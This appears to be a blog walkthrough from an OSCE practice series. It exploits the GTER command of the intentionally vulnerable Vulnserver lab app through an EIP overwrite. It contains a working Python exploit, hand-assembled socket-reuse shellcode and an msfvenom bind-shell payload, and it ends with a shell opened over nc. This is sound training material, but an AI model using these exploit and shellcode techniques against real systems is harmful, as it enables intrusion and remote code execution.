Blog


OSCE Exam Practice - Part VII (GTER via EIP Overwrite w/ Socket Reuse Payload)

May 22, 2020 | 23 minutes read

Tags: osce, vulnserver, windbg, boofuzz

Lab Environment

  • Operating System: Windows 7
  • Architecture: x86
  • Debugger: WinDbg
  • Scripting Language: Python3.8
  • Fuzzer: boofuzz
  • Repo Entry: GTER - Socket Reuse
  • Additional Tools Used:
  • Target: Vulnserver :: GTER command
  • Method: EIP Overwrite w/ Socket Reuse Payload

In case you’re missing anything listed above (excluding vulnserver), check out OSCE Exam Practice - Part I (Lab Setup).

DISCLAIMER: This series of posts is geared toward diving deeper on more modern tooling (boofuzz, windbg, mona, et al) as well as gaining proficiency/efficiency with exploit development. It’s not a guide for the how-to portion of writing a PoC (even though I step through things slowly, I don’t explain things to that level of detail). I assume if you’re here to look at OSCE practice examples, you probably don’t need the step-by-step instructions for every little thing. With all that said, I hope you find something useful!

Other posts in the series:


Introduction

Welcome back to round seven! This time we’ll exploit vulnserver’s GTER command. Structurally, this is a pretty standard exploit, though we’ll dig a little deeper into mona for some added exploit development speed and use @iamrastating’s socket reuse technique as our stage-2 payload!

Much like Part 6, we’re only going to cover what’s new and interesting. If at any point something is unclear, take a look back at the same section in Parts 2-4, as they’re the most detailed. Let’s get started.

Fuzzing

In case you’d like a more detailed explanation, Part II - Fuzzing

The steps for auto-fuzzing with boofuzz remain the same as previous posts. Below are the fuzz strings that caused crashes and the number of characters they sent.

601: "ae" * 1027
901: "]" * 65539
306: "'" * 259
151: 'C' * 65541
2: '/.:/' + 'A' * 5011
1351: "\xfe" * 1028
751: "," * 4101
1201: "}" * 261
451: "\" * 263

Since it’s served us well in previous posts, let’s use test #2 for our initial PoC.

Building the PoC

Initial Crash PoC

Below is our initial crash PoC.

 1import struct
 2import socket
 3
 4VULNSRVR_CMD = b"GTER /.:/ "  # change me
 5CRASH_LEN = 5011  # change me
 6
 7target = ("127.0.0.1", 9999)  # vulnserver
 8
 9payload = VULNSRVR_CMD
10payload += b"A" * CRASH_LEN
11
12with socket.create_connection(target) as sock:
13    sock.recv(512)  # Welcome to Vulnerable Server! ... 
14
15    sent = sock.send(payload)
16    print(f"sent {sent} bytes")

The throw’s results indicate that we can control EIP and we’re dealing with another tight corner once we reach ESP.

gter-initial

Determine the Offset

After walking through the normal steps to arrive at a cyclic pattern of 5011 in memory, we’ll deviate from the norm.

1-------------8<-------------
2VULNSRVR_CMD = b"GTER /.:/ "  # change me
3CRASH_LEN = 5011  # change me
4OFFSET = 0  # change me
5-------------8<-------------
6payload = VULNSRVR_CMD
7payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa..."
8-------------8<-------------

After throwing our find-offset template with a cyclic pattern inserted, we can quickly gather a few handy pieces of information that will allow us to quickly jump from pattern to final exploit.

We would still need to identify bad characters before developing the final poc, though we don’t explicitly cover it during this post.

mona.py suggest

We’ll use mona’s suggest command. The suggest command will automatically run findmsp (so you have to use a cyclic pattern to trigger a crash), and then take that information to create an exploit skeleton. It drops findmsp.txt and exploit.rb into its current monalogs directory.

!py mona suggest -t tcpclient:9999
══════════════════════════════════

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py suggest -t tcpclient:9999

---------- Mona command started on 2020-05-22 14:57:42 (v2.0, rev 605) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
[+] Looking for cyclic pattern in memory
    Cyclic pattern (normal) found at 0x00564c12 (length 170 bytes)
    Cyclic pattern (normal) found at 0x00564c12 (length 170 bytes)
    Cyclic pattern (normal) found at 0x019ff94a (length 170 bytes)
[+] Examining registers
    EIP contains normal pattern : 0x39654138 (offset 146)
    ESP (0x019ff9e0) points at offset 150 in normal pattern (length 20)
    EBP contains normal pattern : 0x65413765 (offset 142)
[+] Examining SEH chain
[+] Examining stack (+- 100 bytes) - looking for cyclic pattern
    Walking stack from 0x019ff97c to 0x019ffa48 (0x000000cc bytes)
    0x019ff97c : Contains normal cyclic pattern at ESP-0x64 (-100) : offset 50, length 120 (-> 0x019ff9f3 : ESP+0x14)
[+] Examining stack (+- 100 bytes) - looking for pointers to cyclic pattern
    Walking stack from 0x019ff97c to 0x019ffa48 (0x000000cc bytes)
[+] Preparing output file 'findmsp.txt'
    - Creating working folder c:\monalogs\vulnserver_5452
    - Folder created
    - (Re)setting logfile c:\monalogs\vulnserver_5452\findmsp.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Preparing output file 'exploit.rb'
    - (Re)setting logfile c:\monalogs\vulnserver_5452\exploit.rb
 
[+] Preparing payload...
 
[+] Attempting to create payload for saved return pointer overwrite...
Metasploit 'Targets' section :
------------------------------
            'Targets'        =>
                [
                    [ '<fill in the OS/app version here>',
                        {
                            'Ret'         =>    0x625011af, # jmp esp - essfunc.dll
                            'Offset'    =>    146
                        }
                    ],
                ],


Metasploit 'exploit' function :
--------------------------------
    def exploit


        connect

        buffer =    rand_text(target['Offset'])    
        buffer << [target.ret].pack('V')    
        buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, 'add esp,-1500').encode_string # avoid GetPC shellcode corruption
        buffer << payload.encoded    #max 14 bytes

        print_status("Trying target #{target.name}...")
        sock.put(buffer)

        handler
        disconnect

    end

By running suggest, we now know how much buffer space we have to work with after EIP is overwritten (20 bytes), we know the offset (146) and we have a gadget that will perform our jmp esp. Additionally, we see that there is 120 bytes of controlled buffer located at ESP-0x64. Pretty nice, right? I suspect if we ran it on TRUN, it could write the entire exploit for us, which is pretty cool.

Stack Pivot

With the majority of the work completed for us already, we can use mona’s assemble (asm for short) command to generate our jmp to esp-0x64.

In prior posts I used nasmshell. I recently noticed that mona provided the same functionality and gives us the full set of instructions ready for insertion into our code.

!py mona asm -s "push esp # pop ecx # sub ecx, 0x64 # jmp ecx"
══════════════════════════════════════════════════════════════

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py asm -s push esp # pop ecx # sub ecx, 0x64 # jmp ecx
Opcode results : 
---------------- 
 push esp = \x54
 pop ecx = \x59
 sub ecx, 0x64 = \x83\xe9\x64
 jmp ecx = \xff\xe1
 Full opcode : \x54\x59\x83\xe9\x64\xff\xe1

It’s tempting to just do a sub esp, 0x64 followed by a jmp esp. Don’t. It makes ESP and EIP point to the same address. You end up having to readjust ESP after the jump. In and of itself, readjusting ESP isn’t a huge deal, but it’s better to get in the habit of storing ESP in a register and then manipulating the register.

I’ve done sub esp, ... on two exploits in the past, and it has caused me copious amounts of avoidable pain in both instances. Don’t be me, learn from my pain.

Let’s update our final-poc template with all of our gathered information.

 1-------------8<-------------
 2VULNSRVR_CMD = b"GTER /.:/ "  # change me
 3CRASH_LEN = 5011  # change me
 4OFFSET = 146  # change me
 5SLED_LENGTH = 5
 6-------------8<-------------
 7payload = VULNSRVR_CMD
 8payload += b"A" * 50  # offset to esp-0x64
 9payload += "\xcc" * 4
10payload += b"B" * (OFFSET - len(payload) + len(VULNSRVR_CMD))
11payload += struct.pack("<I", 0x625011af)  # change me
12payload += b"\x90" * SLED_LENGTH
13payload += b"\x54\x59\x83\xe9\x64\xff\xe1"  # push esp # pop ecx # sub ecx, 0x64 # jmp ecx
14payload += b"C" * (CRASH_LEN - len(payload))
15-------------8<-------------

After taking the jump, we have about 90ish bytes of room to work with. We’ll confirm this by setting a breakpoint (\xcc) where we expect to land.

gter-cc-pivot

Now that we have a working pivot into our buffer, let’s look at our stage-2.

Socket Reuse Shellcode

I didn’t dream up using this on my own, Rastating’s writeup prompted the idea. I’m just not that cool, I promise.

I got the idea to use this technique from this blog post. We’ll be implementing the same technique that @iamrastating uses on a different vulnserver command. However, there are a few things we’ll have to work out on our own due to the different vulnserver command and exploit structure.

The socket reuse technique we’ll use is more generally known as one-way shellcode. One-way shellcode is typically used to circumvent restrictive firewall rules. These Blackhat slides from 2003 give some interesting ideas for implementation of one-way shellcode. Most of the solutions there are more general, but assume more buffer-space for shellcode. Either way, it’s interesting and worth a quick glance to spark the imagination.

Plan of Attack

We’re not going to go into the same level of detail as Rastating’s post, but it’s good to outline what we hope to accomplish with this stage-2. Our high-level steps are as follows:

  1. locate the file descriptor associated with our connection to vulnserver
  2. find a good place to write our stage-3 into memory
  3. make a call to WS2_32.recv using the file descriptor found in step 1
  4. send our stage-3 payload using our existing connection to vulnserver

Ok, enough background, let’s roll!

Locate the File Descriptor

For add’l info, check the section titled Analysis & Socket Hunting in Rastating’s post

Our first step is to figure out which file descriptor our current connection is using. This is the file descriptor we’ll reuse to send our stage-3. In order to locate the file descriptor, we’ll begin by looking at where vulnserver makes its call to WS2_32.recv. The assumption being that it will need to setup the stack for the call. Part of that setup will include pushing the file descriptor onto the stack. We know this because the function definition for recv dictates that the first parameter passed is a file descriptor (shown below).

int recv(
  SOCKET s,
  char   *buf,
  int    len,
  int    flags
);

To get started, let’s fire up windbg and set a breakpoint on WS2_32.recv. The command to accomplish this task is pretty simple bp ws2_32!recv. Many of windbg’s commands that deal with modules and functions use this syntax and some can even be wild-carded (ex. x *!recv would show us all loaded modules that export a recv function).

gter-recv-bp

With the breakpoint set, we can throw our PoC and allow it to hit the breakpoint.

gter-recv-bp-hit

Let’s take a moment to look at the stack at this breakpoint.

gter-stack-at-bp

What’s shown above are the following in corresponding order and how they relate to the recv function definition

  1. 0x0178f9dc - address of caller (where to return after the recv function is complete)
  2. 0x178f9e0 - the file descriptor (SOCKET s)
  3. 0x178f9e4 - location of the buffer where the received data will be written (char *buf)
  4. 0x178f9e8 - the size of the buffer pointed to by #3 (int len)
  5. 0x178f9ec - any flags set for the call to recv (int flags)

It’s incredibly useful to be able to see a working call like this before mucking around trying to build one ourselves. With the exception of the return address at the top of the stack, we’ll need to setup the stack in the same manner as part of our stage-2 shellcode.

Back to finding the file descriptor! We know it’s 58 (on my machine, for this given run; it changes). Let’s allow recv to run to completion. We’ll use windbg’s Step Out functionality.

  • Windbg Shortcut: Shift+F11 - Step Out (aka Run til ret)
  • Windbg Command: gu - Step Out (aka Run til ret)

After Stepping Out, we find ourselves one instruction past the call to ws2_32.recv.

gter-disas-after-call

We’ll need to make note of the address being called (0x0040252c) and save it for later, as we’ll need it in our shellcode. Additionally, we need to investigate the two mov instructions. It may not be immediately clear, but the first mov is grabbing the file descriptor from ebp - 420 and storing the value in EAX. After that, the second mov puts that same value onto the top of the stack.

We know that value is the file descriptor because of x86 calling conventions. Recall that the file descriptor is the first parameter in the recv function definition. That means, due to calling conventions, it must be the last value pushed onto the stack before calling the function. Knowing that, let’s check out the address of that value.

gter-ebp-minus-420

Ok, that’s awesome, it still points to our file descriptor. Let’s allow execution to flow until we hit our \xcc’s. It’s at that point in our payload that we’ll want to calculate the address to the memory address located at (currently) ebp-420.

tangent: windbg defaults to using hex values from what i’ve seen. no need for prefixing stuff with 0x, as long as you’re mindful

gter-memaddr-fd

Now that we’re paused at our four \xcc’s, we’ll calculate the distance from esp to the memory address containing the file descriptor. We’ll use mona’s offset command to do this.

!py mona offset -a1 esp -a2 018cfb68
════════════════════════════════════

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py offset -a1 esp -a2 018cfb68
Offset from 0x018cf9e0 to 0x018cfb68 : 392 (0x00000188) bytes
Jmp offset : 

We see that we can reliably find the file descriptor at ESP + 0x188

gter-esp-plus-188

Alright, we’ve got a dynamic way of finding the file descriptor; suh-weeet! Let’s write the first few instructions in our stage-2 and add them to our PoC.

Rastating assembled the instructions as he went, and it worked really well for his post. We have some more ground to cover and our shellcode gets a little more complex, so we’ll be taking a more iterative approach.

The assembly:

1; -- find and save file descriptor -- ;
2push esp                    ; get ptr to esp
3pop eax                     ; load esp address into eax
4add ax, 0x188               ; add 0x188 to eax (esp) to get ptr to file descriptor
5push [eax]                  ; push dereferenced ptr onto stack (0x58 in example)
6pop esi                     ; store fd in non-volatile register for later use
7; ------------------------- ;

The opcodes:

!py mona asm -s "push esp # pop eax # add ax, 0x188 # push [eax] # pop esi"
═══════════════════════════════════════════════════════════════════════════

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py asm -s push esp # pop eax # add ax, 0x188 # push [eax] # pop esi
Opcode results : 
---------------- 
 push esp = \x54
 pop eax = \x58
 add ax, 0x188 = \x66\x05\x88\x01
 push [eax] = \xff\x30
 pop esi = \x5e
 Full opcode : \x54\x58\x66\x05\x88\x01\xff\x30\x5e

The PoC:

50-------------8<-------------
51socket_reuse = b"\x54\x58\x66\x05\x88\x01\xff\x30\x5e"
52
53payload = VULNSRVR_CMD
54payload += b"A" * 50
55payload += socket_reuse
56payload += b"\xcc" * 4
57-------------8<-------------

Let’s throw the updated PoC and let it hit our \xcc’s again before moving on.

gter-stage-2-1

Great! We can see that ESI holds the value 58; let’s move on to the next step.

Adjust the Stack

If we take a look near our original EIP overwrite (below), we see that ESP is at a really unfortunate location. It’s stomping all over our buffer. If it were at a lower address than our stage-2, it wouldn’t really matter, but as it stands, we need to correct this before moving on.

gter-borked-buffer

To correct the issue, we’ll simply subtract some value from ESP. It just needs to be large enough so that ESP points to some memory address lower than where we currently sit. 0x74 is as good a value as any, let’s use it.

The assembly:

1; -- adjust the stack -- ; 
2sub esp, 0x74               ; move esp to a lower memory address than our pivot
3; ------------------------- ;

The opcodes:

!py mona asm -s "push esp # pop eax # add ax, 0x188 # push [eax] # pop esi # sub esp, 74"
═════════════════════════════════════════════════════════════════════════════════════════

push esp = \x54
pop eax = \x58
add ax, 0x188 = \x66\x05\x88\x01
push [eax] = \xff\x30
pop esi = \x5e
sub esp, 74 = \x83\xec\x74
Full opcode : \x54\x58\x66\x05\x88\x01\xff\x30\x5e\x83\xec\x74 

The PoC:

51-------------8<-------------
52socket_reuse = b"\x54\x58\x66\x05\x88\x01\xff\x30\x5e\x83\xec\x74"
53-------------8<-------------

Recv Params - flags and len

While we’re at it, there’s nothing stopping us from setting up the flags and len parameters that we’ll eventually pass to the recv function.

The assembly:

1; -- setup flags and len params -- ;
2xor ebx, ebx                ; zero out ebx
3push ebx                    ; recv param - flags
4add bh, 0x4                 ; set ebx to 0x00000400
5sub ebx, 0x6d               ; set ebx to 0x00000393
6push ebx                    ; recv param - len
7; ------------------------- ;

The opcodes:

!py mona asm -s "push esp # pop eax # add ax, 0x188 # push [eax] # pop esi # sub esp, 74 # xor ebx, ebx # push ebx # add bh, 4 # sub ebx, 6d # push ebx"
════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════

 push esp = \x54
 pop eax = \x58
 add ax, 0x188 = \x66\x05\x88\x01
 push [eax] = \xff\x30
 pop esi = \x5e
 sub esp, 74 = \x83\xec\x74
 xor ebx, ebx = \x31\xdb
 push ebx = \x53
 add bh, 4 = \x80\xc7\x04
 sub ebx, 6d = \x83\xeb\x6d
 push ebx = \x53
 Full opcode : \x54\x58\x66\x05\x88\x01\xff\x30\x5e\x83\xec\x74\x31\xdb\x53\x80\xc7\x04\x83\xeb\x6d\x53 

The PoC:

51-------------8<-------------
52socket_reuse = b"\x54\x58\x66\x05\x88\x01\xff\x30\x5e\x83\xec\x74\x31\xdb\x53\x80\xc7\x04\x83\xeb\x6d\x53"
53-------------8<-------------

Topic Detour - Buffer Length

Ok, hopefully you’re wondering why we’re using 0x393 for our len param. That’s a great question, and I’m glad you asked! The reason is that vulnserver’s initial call to recv, where we send our initial overwrite, allocates a buffer 4096 bytes long. Recall that the length of our payload is 5011 bytes. That means the operating system will have buffered the remaining 915 (0x393) bytes. For us, that means that our stage-2 call to recv will have those 915 bytes prepended to it.

We’ll get around this by calling recv twice. We can think of it like a stage-2 and a stage-2.5 payload. stage-2 will call recv to clear out the buffered data sent as part of our first payload. stage-2.5 will call recv and read in our stage-3.

I tried just lengthening the buffer, but I suspect that the overall length (nearly 1300 bytes) ended up corrupting something important down the line, as I wasn’t able to get it working. I never fully investigated because I assumed the solution presented in this post would work, and it does! lol

Place the Buffer

Now we need to figure out where we should write our data. Rastating suggests that the simplest method is to overwrite our initial EIP overwrite. To put it another way, we’ll place the start of our buffer at the end of our string of B’s.

Unfortunately, we’ve already seen that our buffer gets mangled a few bytes before our original overwrite. We’ll modify that plan slightly to ensure that we place our recv buffer before the first mangled instruction. This plan will allow us to not worry about the first few instructions in our stage-2 that mangle the buffer.

Alright, the address we want to place our buffer will be 018cf9dc, which is 0x78 bytes from ESP (shown below).

gter-verify-jmp

Let’s get our next set of instructions written and into our PoC.

The assembly:

1; -- setup buf and s params -- ;
2push esp                    ; ptr to esp on stack
3pop ebx                     ; ptr to esp in ebx
4add ebx, 0x78               ; ebx (esp) + 0x78 - location of recv buffer
5push ebx                    ; recv param - buf
6push esi                    ; recv param - file descriptor
7; ------------------------- ;

The opcodes:

!py mona asm -s "push esp # pop eax # add ax, 0x188 # push [eax] # pop esi # sub esp, 74 # xor ebx, ebx # push ebx # add bh, 4 # sub ebx, 6d # push ebx # push esp # pop ebx # add ebx, 78 # push ebx # push esi"
═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
 
 push esp = \x54
 pop eax = \x58
 add ax, 0x188 = \x66\x05\x88\x01
 push [eax] = \xff\x30
 pop esi = \x5e
 sub esp, 74 = \x83\xec\x74
 xor ebx, ebx = \x31\xdb
 push ebx = \x53
 add bh, 4 = \x80\xc7\x04
 sub ebx, 6d = \x83\xeb\x6d
 push ebx = \x53
 push esp = \x54
 pop ebx = \x5b
 add ebx, 78 = \x83\xc3\x78
 push ebx = \x53
 push esi = \x56
 Full opcode : \x54\x58\x66\x05\x88\x01\xff\x30\x5e\x83\xec\x74\x31\xdb\x53\x80\xc7\x04\x83\xeb\x6d\x53\x54\x5b\x83\xc3\x78\x53\x56 

The PoC:

51-------------8<-------------
52socket_reuse = b"\x54\x58\x66\x05\x88\x01\xff\x30\x5e\x83\xec\x74\x31\xdb\x53\x80\xc7\x04\x83\xeb\x6d\x53\x54\x5b\x83\xc3\x78\x53\x56"
53-------------8<-------------

First recv Call - Clear the Buffer

We’re almost ready to make the call to recv. There’s one final snag for which Rastating provided a clever solution. The memory address that we need to make the call is 0x0040252c. It begins with a null-byte. The null-byte will break our exploit, so we need to get around it (the same reasoning applied to add bh, 0x4, i just didn’t harp on it). His solution was to use the address 0x40252c90 and then shift the bits to the right. He shifted the bits far enough that the 90 fell off and 00 appeared at the beginning.

There’s absolutely nothing wrong with his solution, and it will 100% work. However, I enjoy learning new shellcode tricks and thought I’d include one I picked up doing the ROP assignment during my Software Exploitation class with DSU.

We’ll mov the address 0xffbfdad4 into EDI. Then we’ll use the neg instruction on EDI. The neg instruction finds the 2’s complement of the target register. Put simply, we’ll take the value stored in EDI and multiply it by -1. That operation will transform 0xffbfdad4 into 0x0040252c.

Let’s add those instructions and the first call to recv now.

The assembly:

1; -- make the call to recv -- ;
2mov edi, ffbfdad4           ; 2s complement of WS2_32.recv address
3neg edi                     ; edi is now == 0x0040252c -> WS2_32.recv
4call edi                    ; call WS2_32.recv 
5; ------------------------- ; 

The opcodes:

!py mona asm -s "push esp # pop eax # add ax, 0x188 # push [eax] # pop esi # sub esp, 74 # xor ebx, ebx # push ebx # add bh, 4 # sub ebx, 6d # push ebx # push esp # pop ebx # add ebx, 78 # push ebx # push esi # mov edi, ffbfdad4 # neg edi # call edi"
══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════

push esp = \x54
pop eax = \x58
add ax, 0x188 = \x66\x05\x88\x01
push [eax] = \xff\x30
pop esi = \x5e
sub esp, 74 = \x83\xec\x74
xor ebx, ebx = \x31\xdb
push ebx = \x53
add bh, 4 = \x80\xc7\x04
sub ebx, 6d = \x83\xeb\x6d
push ebx = \x53
push esp = \x54
pop ebx = \x5b
add ebx, 78 = \x83\xc3\x78
push ebx = \x53
push esi = \x56
mov edi, ffbfdad4 = \xbf\xd4\xda\xbf\xff
neg edi = \xf7\xdf
call edi = \xff\xd7
Full opcode : \x54\x58\x66\x05\x88\x01\xff\x30\x5e\x83\xec\x74\x31\xdb\x53\x80\xc7\x04\x83\xeb\x6d\x53\x54\x5b\x83\xc3\x78\x53\x56\xbf\xd4\xda\xbf\xff\xf7\xdf\xff\xd7 

The PoC:

51-------------8<-------------
52socket_reuse = b"\x54\x58\x66\x05\x88\x01\xff\x30\x5e\x83\xec\x74\x31\xdb\x53\x80\xc7\x04\x83\xeb\x6d\x53\x54\x5b\x83\xc3\x78\x53\x56\xbf\xd4\xda\xbf\xff\xf7\xdf\xff\xd7"
53-------------8<-------------

Let’s give our updated PoC a throw and see what things look like in windbg.

First, we can see that 018cf9dc no longer precedes mangled instructions. Instead we see a smooth line of C’s.

gter-first-recv-ebx

Next, we can check EBX + 0x393 to ensure that our recv call read in the entirety of the buffered input.

gter-first-recv-ebx-2

Excellent. Now we can push through our stage-3!

Second recv Call - Stage 3

We don’t need a whole lot of additional code to make our second call. Similar to our use of a non-volatile register when storing the socket’s file descriptor, we’ve been using other non-volatile registers to store the other parameters used by recv. Below, we can see the state of the registers one instruction past our first call to recv.

gter-reg-state-w-disas

We can see that ESI still holds our file descriptor, EDI still points to the recv function, and EBX still points to our chosen buffer location. All we need now is the len parameter. Luckily, EAX holds the number of bytes read during the call to recv (i.e. the standard return value from a recv call). 915 bytes is plenty for our shellcode, let’s just use that for our len.

With all our values already in registers except for flags, our stage-2.5 is pretty simple.

The assembly:

1; -- make second call to recv -- ; 
2xor ecx, ecx                ; zero out ecx
3push ecx                    ; recv param - flags (0)
4push eax                    ; recv param - len (0x393 - return value of first recv call)
5push ebx                    ; recv param - buf (same location as first recv call)
6push esi                    ; recv param - file descriptor (same fd as first recv call)
7call edi                    ; call WS2_32.recv 
8; ------------------------- ;

The opcodes:

Final Stage-2 Opcodes:

!py mona asm -s "push esp # pop eax # add ax, 0x188 # push [eax] # pop esi # sub esp, 74 # xor ebx, ebx # push ebx # add bh, 4 # sub ebx, 6d # push ebx # push esp # pop ebx # add ebx, 78 # push ebx # push esi # mov edi, ffbfdad4 # neg edi # call edi # xor ecx, ecx # push ecx # push eax # push ebx # push esi # call edi"
══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════

 push esp = \x54
 pop eax = \x58
 add ax, 0x188 = \x66\x05\x88\x01
 push [eax] = \xff\x30
 pop esi = \x5e
 sub esp, 74 = \x83\xec\x74
 xor ebx, ebx = \x31\xdb
 push ebx = \x53
 add bh, 4 = \x80\xc7\x04
 sub ebx, 6d = \x83\xeb\x6d
 push ebx = \x53
 push esp = \x54
 pop ebx = \x5b
 add ebx, 78 = \x83\xc3\x78
 push ebx = \x53
 push esi = \x56
 mov edi, 40252c90 = \xbf\x90\x2c\x25\x40
 shr edi, 8 = \xc1\xef\x08
 call edi = \xff\xd7
 xor ecx, ecx = \x31\xc9
 push ecx = \x51
 push eax = \x50
 push ebx = \x53
 push esi = \x56
 call edi = \xff\xd7
 Full opcode : \x54\x58\x66\x05\x88\x01\xff\x30\x5e\x83\xec\x74\x31\xdb\x53\x80\xc7\x04\x83\xeb\x6d\x53\x54\x5b\x83\xc3\x78\x53\x56\xbf\x90\x2c\x25\x40\xc1\xef\x08\xff\xd7\x31\xc9\x51\x50\x53\x56\xff\xd7 

The PoC:

51-------------8<-------------
52payload = VULNSRVR_CMD
53payload += b"A" * 50
54payload += socket_reuse
55payload += b"\xcc" * 4
56payload += b"B" * (OFFSET - len(payload) + len(VULNSRVR_CMD))
57payload += struct.pack("<I", 0x625011af)  # change me
58payload += b"\x54\x59\x83\xe9\x64\xff\xe1"  # push esp # pop ecx # sub ecx, 0x64 # jmp ecx
59payload += b"C" * (CRASH_LEN - len(payload))
60
61with socket.create_connection(target) as sock:
62    sock.recv(512)  # Welcome to Vulnerable Server! ... 
63
64    sent = sock.send(payload)
65    print(f"sent {sent} bytes")
66
67    time.sleep(2)
68    sock.send(b"D" * 0x393)

Let’s leave our \xcc’s in one last time to see the exploit work. Specifically, we’ll be looking to see that EBX contains a bunch of D’s.

gter-bunch-of-ds

Success! Our stage-2 successfully loaded our dummy stage-3.

Getting a Shell

The last step for this exploit is to add in our shellcode. Because we’re jamming data directly into memory using recv, we don’t need to worry about bad characters. We can generate an unencoded payload for our PoC using msfvenom.

 4-------------8<-------------
 5VULNSRVR_CMD = b"GTER /.:/ "  # change me
 6CRASH_LEN = 5011  # change me
 7OFFSET = 146  # change me
 8SLED_LENGTH = 5
 9-------------8<-------------
10# msfvenom -p windows/shell_bind_tcp LPORT=12345 EXITFUNC=thread -f python -v shellcode
11# Payload size: 328 bytes
12shellcode =  b""
13shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"
14shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
15-------------8<-------------
16socket_reuse = b"\x54\x58\x66\x05\x88\x01\xff\x30\x5e\x83\xec\x74\x31\xdb\x53\x80\xc7\x04\x83\xeb\x6d\x53\x54\x5b\x83\xc3\x78\x53\x56\xbf\xd4\xda\xbf\xff\xf7\xdf\xff\xd7\x31\xc9\x51\x50\x53\x56\xff\xd7"
17-------------8<-------------

While we’re at it, we should clean up our payload by removing \xcc’s and changing out B’s and D’s for nops. Additionally, we’ll need to pad out our shellcode with nops to ensure we send 915 bytes.

100-------------8<-------------
101payload = VULNSRVR_CMD
102payload += b"A" * 50
103payload += socket_reuse
104payload += b"\x90" * (OFFSET - len(payload) + len(VULNSRVR_CMD))
105payload += struct.pack("<I", 0x625011af)  # change me
106payload += b"\x54\x59\x83\xe9\x64\xff\xe1"  # push esp # pop ecx # sub ecx, 0x64 # jmp ecx
107payload += b"\x90" * (CRASH_LEN - len(payload))
108
109with socket.create_connection(target) as sock:
110    sock.recv(512)  # Welcome to Vulnerable Server! ... 
111
112    sent = sock.send(payload)
113    print(f"sent {sent} bytes")
114
115    time.sleep(2)
116    sock.send(shellcode + b"\x90" * (0x393 - len(shellcode)))

If all goes well when we throw the code above, we should see a listener on port 12345 open up.

nc -vn 127.0.0.1 12345
══════════════════════

(UNKNOWN) [127.0.0.1] 12345 (?) open
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
C:\Users\vagrant\Downloads\vulnserver-master> 

Outro

This was definitely a fun one to write. Rastating provided an excellent writeup that allowed me to dive into this topic in depth. The next post in this series is likely to be LTER. Hopefully you continue to find value in these posts, thanks for taking a look! Until next time…

Additional Resources

  1. Using Socket Reuse to Exploit Vulnserver
  2. Building Firewall-proof Shellcode (BH Asia 20003)

comments powered by Disqus